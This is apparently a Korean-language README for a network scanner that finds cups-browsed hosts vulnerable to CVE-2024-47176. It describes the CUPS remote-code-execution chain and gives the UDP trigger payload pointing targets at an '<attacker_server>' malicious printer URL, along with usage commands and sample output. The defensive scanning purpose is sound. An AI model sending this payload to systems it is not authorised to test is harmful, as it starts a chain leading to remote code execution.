
네트워크에서 취약한 cups-browsed 인스턴스를 식별하는 간단한 스캐너
사용 예: python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337
CUPS(Common Unix Printing System)는 UNIX 및 UNIX 계열 시스템에서 프린터를 관리하고 제어하기 위한 오픈소스 프레임워크입니다. 이는 인쇄를 위해 가장 널리 사용되는 라이브러리 중 하나이며 UNIX, Linux 및 일부 Apple 기기에서 지원됩니다.
CUPS에서 여러 가지 심각한 취약점이 발견되었으며, 연쇄적으로 연결될 경우 원격 코드 실행으로 이어질 수 있습니다. 해당 CVE는 CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177입니다.
이 취약점으로 인해 원격 공격자가 사용자가 인쇄를 시도할 때 임의 코드를 실행하도록 하는 방식으로 네트워크 프린터를 추가하거나 재구성할 수 있습니다.
체인의 첫 번째 취약점인 CVE-2024-47176은 cups-browsed 데몬의 결함입니다.
취약점은 cups-browsed가 제어 포트(UDP 포트 631)를 INADDR_ANY에 바인딩하여 외부에 노출시키는 데서 발생합니다. 요청이 인증되지 않으므로 제어 포트에 도달할 수 있는 사람은 누구나 cups-browsed에 프린터 검색을 수행하도록 지시할 수 있습니다.
포트가 인터넷에서 접근 불가능한 경우(방화벽 또는 NAT로 인해)에도 로컬 네트워크를 통해 접근 가능할 수 있어 권한 상승 및 측면 이동이 가능합니다. 이러한 이유로, 저는 로컬 네트워크에서 취약한 cups-browsed 인스턴스를 스캔하도록 설계된 이 스캐너를 만들었습니다.
일반적으로 공격자는 UDP 포트 631의 cups-browsed에 특수하게 조작된 요청을 보내 악성 URL에 접속하도록 유도하는 것으로 악용 과정을 시작합니다.
예를 들어, 0 3 http://<attacker_server>/printers/malicious_printer를 포함하는 UDP 패킷은 cups-browsed가 http://<attacker_server>/printers/malicious_printer로 HTTP 요청을 보내도록 트리거합니다.
해당 URL이 악성 프린터로 제시되면 나머지 CVE를 연쇄적으로 사용하여 원격 코드 실행을 얻을 수 있습니다.
이 메커니즘을 사용하여 취약한 cups-browsed 인스턴스가 우리 서버에 HTTP 요청(콜백)을 보내도록 유발하여 취약하다는 것을 식별할 수 있습니다.
스캔 프로세스는 다음과 같습니다:
/printers/ 엔드포인트에 대한 모든 POST 요청 기록(취약한 cups-browsed 인스턴스에 의해 트리거됨).HTTP 서버가 10.0.0.1:1337에서 호스팅된다고 가정하면 UDP 패킷은 다음과 같아야 합니다: 0 3 http://10.0.0.1:1337/printers/test1234
이 Python 스캐너는 모든 것을 처리합니다(HTTP 서버 및 스캔 모두).
스크립트는 지정된 IP와 포트에서 http.server를 통해 임시 HTTP 서버를 실행한 다음, 지정된 범위의 모든 IP에 UDP 패킷을 구성하여 전송합니다. HTTP 서버는 취약한 cups-browsed 인스턴스의 콜백을 자동으로 캡처하여 디스크에 기록합니다.
사용자 친화적인 로그는 logs/cups.log에 기록되고 원시 HTTP 요청은 logs/requests.log에 기록됩니다.
--target
스캔할 CIDR입니다. 단일 CIDR 또는 쉼표로 구분된 여러 CIDR일 수 있습니다.
--callback HTTP 서버를 호스팅할 로컬 IP 및 포트(대상 범위에서 연결 가능해야 함)
--scan-unsafe 기본적으로 할당 가능한 호스트 주소만 스캔합니다(네트워크 주소 및 브로드캐스트 주소 제외).
경우에 따라 이러한 주소를 스캔하는 것이 바람직할 수 있으므로 --scan-unsafe 플래그로 이 동작을 재정의할 수 있습니다.
IP 주소 10.0.0.1에서 CIDR 10.0.0.0/24 스캔, 콜백 서버를 1337에 호스팅:
python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337
IP 주소 10.0.0.1에서 여러 CIDR 스캔, 콜백 서버를 1337에 호스팅:
python3 cups_scanner.py --targets 10.0.0.0/24,10.0.1.0/24 --callback 10.0.0.1:1337
참고: 콜백 서버 IP는 스캔 호스트에 속해야 하며, 포트는 모든 대상 IP에서 연결 가능해야 합니다.
<root@haxx> python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.0.1:1337
[2024-10-06 21:57:09] starting callback server on 10.0.0.1:1337
[2024-10-06 21:57:14] callback server running on port 10.0.0.1:1337...
[2024-10-06 21:57:14] starting scan
[2024-10-06 21:57:14] scanning range: 10.0.0.1 - 10.0.0.254
[2024-10-06 21:57:14] scan done, use CTRL + C to callback stop server
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.22 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.25 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:17] shutting down server and exiting...
자세한 내용은 다음을 참조하세요: 공식 CUPS 취약점 보고서